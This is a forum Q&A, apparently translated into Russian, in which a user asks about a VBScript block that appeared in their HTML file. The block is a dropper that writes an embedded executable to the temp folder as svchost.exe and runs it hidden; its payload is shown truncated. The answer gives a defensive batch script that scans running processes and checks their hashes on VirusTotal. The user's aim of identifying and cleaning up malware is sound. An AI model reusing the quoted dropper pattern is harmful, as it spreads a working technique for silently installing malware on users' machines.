VBS скрипт, написанный случайным образом на редакторе

Question

Я знаю, что это может быть не ошибка программы, которую я пишу, а скорее странное поведение моего редактора (VScode).

Я открыл HTML-документ с простым кодом JavaScript на немустановка VScode начала показывать сообщения о том, что окно больше не отвечает, я просто хочу подождать, и когда редактор снова откроется, код был изменен

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B8"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

Переменная «WriteData» фактически имеладовольно длинное значение, более 100 000 символов, что это может быть?

Answer 1

Вы можете попробовать использовать этот пакетный файл Scan_Process_VirusTotal.bat , чтобы извлечь CommandLine запущенных процессов и проверить их хеши на VirusTotal.

@echo off
Title Extracting CommandLine of Running Processes and Check their Hashes on VirusTotal by Hackoo 2019
Mode 90,7 & color 0A
:::::::::::::::::::::::::::::::::::::::::
:: Automatically check & get admin rights
:::::::::::::::::::::::::::::::::::::::::
REM  --> Check for permissions
Reg query "HKU\S-1-5-19\Environment" >nul 2>&1
REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
Echo( & echo(
ECHO                        **************************************
ECHO                         Running Admin shell... Please wait...
ECHO                        **************************************

    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"=""
    echo UAC.ShellExecute "cmd.exe", "/c ""%~f0"" %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
::::::::::::::::::::::::::::
::START
::::::::::::::::::::::::::::
Mode 125,30 & color 0A
Rem Killing all Process that have a status not responding
Taskkill /f /fi "status eq not responding">nul 2>&1
Set "LogScan=%~dp0Log_Scan"
REM HASH for the command line in white list
Set "CMD_HASH=3685495d051137b1c4efde22c26df0883614b6453b762fa84588da55ed2e7744"
REM HASH for the Powershell in white list
Set "PS_HASH=e0c662d10b852b23f2d8a240afc82a72b099519fa71cddf9d5d0f0be08169b6e"
If Not Exist %LogScan%\ MD %LogScan%
Set "TmpFile=%LogScan%\%~n0_Abs_cmdline.txt"
Set "LogFile=%LogScan%\%~n0_cmdline.txt
Set "TmpHashes=%LogScan%\%~n0_TmpHashes.txt"
Set "Hashes=%LogScan%\%~n0_Hashes.txt"
Set "Hash2Check_VirusTotal=%LogScan%\Hash2Check_VirusTotal.txt"
For %%a in ("%TmpFile%" "%LogFile%" "%TmpHashes%" "%Hash2Check_VirusTotal%") Do If Exist "%%a" Del "%%a"
Set ProcessNames="wscript.exe" "cmd.exe" "mshta.exe" "powershell.exe" "cscript.exe" "svchost.exe"
SetLocal EnableDelayedExpansion
for %%A in (%ProcessNames%) Do (
    echo(
    echo Please Wait a while ... Looking for any instance of %%A ...
    Call :GetCommandLine %%A 
)
Timeout /T 3 /NoBreak>nul
Call :Extract "%TmpFile%" "%LogFile%"
cls
for /f "delims=" %%a in ('Type "%LogFile%"') do (
    for /f "skip=1 delims=" %%H in ('CertUtil -hashfile "%%~a" SHA256 ^| findstr /i /v "CertUtil"') do set "H=%%H"
        echo %%a=!H: =!
        echo %%a=!H: =! >> "%TmpHashes%"
)

Call :RemoveDuplicateEntry %TmpHashes% %Hashes%
If exist "%TmpHashes%" Del "%TmpHashes%"

for /f "tokens=1,2 delims==" %%a in ('Type "%Hashes%"') do (
    If /I "%%~xa"==".vbs" MD %LogScan%\VBS>nul 2>&1 & Type "%%a" > "%LogScan%\VBS\%%~nxa.txt"
    If /I "%%~xa"==".vbe" MD %LogScan%\VBE>nul 2>&1 & Type "%%a" > "%LogScan%\VBE\%%~nxa.txt"
    If /I "%%~xa"==".js"  MD %LogScan%\JS>nul  2>&1 & Type "%%a" > "%LogScan%\JS\%%~nxa.txt"
    If /I "%%~xa"==".jse" MD %LogScan%\JSE>nul 2>&1 & Type "%%a" > "%LogScan%\JSE\%%~nxa.txt"
    If /I "%%~xa"==".hta" MD %LogScan%\HTA>nul 2>&1 & Type "%%a" > "%LogScan%\HTA\%%~nxa.txt"
    If /I "%%~xa"==".bat" MD %LogScan%\BAT>nul 2>&1 & Type "%%a" > "%LogScan%\BAT\%%~nxa.txt"
    If /I "%%~xa"==".cmd" MD %LogScan%\CMD>nul 2>&1 & Type "%%a" > "%LogScan%\CMD\%%~nxa.txt"
    If /I "%%~xa"==".ps1" MD %LogScan%\PS1>nul 2>&1 & Type "%%a" > "%LogScan%\PS1\%%~nxa.txt"
    If /I "%%~xa"==".wsf" MD %LogScan%\WSF>nul 2>&1 & Type "%%a" > "%LogScan%\WSF\%%~nxa.txt"
    Set "Hash=%%b"
    Set "Hash=!Hash: =!
    IF {!Hash!} NEQ {!CMD_HASH!} (
        IF {!Hash!} NEQ {!PS_HASH!} (
            echo https://www.virustotal.com/#/file/%%b>>"%Hash2Check_VirusTotal%"
            Start "Chek SHA256 on VIRUSTOTAL" "https://www.virustotal.com/old-browsers/file/%%b"
        )
    )
)
Start "" /MAX "%Hashes%" 
Start "" /MAX "%LogFile%"
Exit
::********************************************************************************************************
:GetCommandLine <ProcessName>
Set "ProcessCmd="
for /f "tokens=2 delims==" %%P in ('wmic process where caption^="%~1" get commandline /format:list ^| findstr /I "%~1" ^| find /I /V "%~nx0" 2^>nul') do (
    Set "ProcessCmd=%%P"
    echo !ProcessCmd!
    echo !ProcessCmd! >> "%TmpFile%"
)
Exit /b
::********************************************************************************************************
:Extract <InputData> <OutPutData>
(
echo Data = WScript.StdIn.ReadAll
echo Data = Extract(Data,"(^?^!.*(\x22\w\W^)^).*(\.ps1^|\.hta^|\.vbs^|\.vbe^|\.js^|\.jse^|\.cmd^|\.bat^|\.wsf^|\.exe^)(^?^!.*(\x22\w\W^)^)"^)
echo WScript.StdOut.WriteLine Data
echo '************************************************
echo Function Extract(Data,Pattern^)
echo    Dim oRE,oMatches,Match,Line
echo    set oRE = New RegExp
echo    oRE.IgnoreCase = True
echo    oRE.Global = True
echo    oRE.Pattern = Pattern
echo    set oMatches = oRE.Execute(Data^)
echo    If not isEmpty(oMatches^) then
echo        For Each Match in oMatches  
echo            Line = Line ^& Trim(Match.Value^) ^& vbcrlf
echo        Next
echo        Extract = Line 
echo    End if
echo End Function
echo '************************************************
)>"%tmp%\%~n0.vbs"
cscript /nologo "%tmp%\%~n0.vbs" < "%~1" > "%~2"
If Exist "%tmp%\%~n0.vbs" Del "%tmp%\%~n0.vbs"
exit /b
::****************************************************
::---------------------------------------------------------------------------------------------------------------------------------------------
:RemoveDuplicateEntry <InputFile> <OutPutFile>
Powershell.exe -command "& {$Contents=Get-Content '%1'; $LowerContents=$Contents.ToLower(); ($LowerContents | select -unique | Out-File '%2')}"
Exit /b
::---------------------------------------------------------------------------------------------------------------------------------------------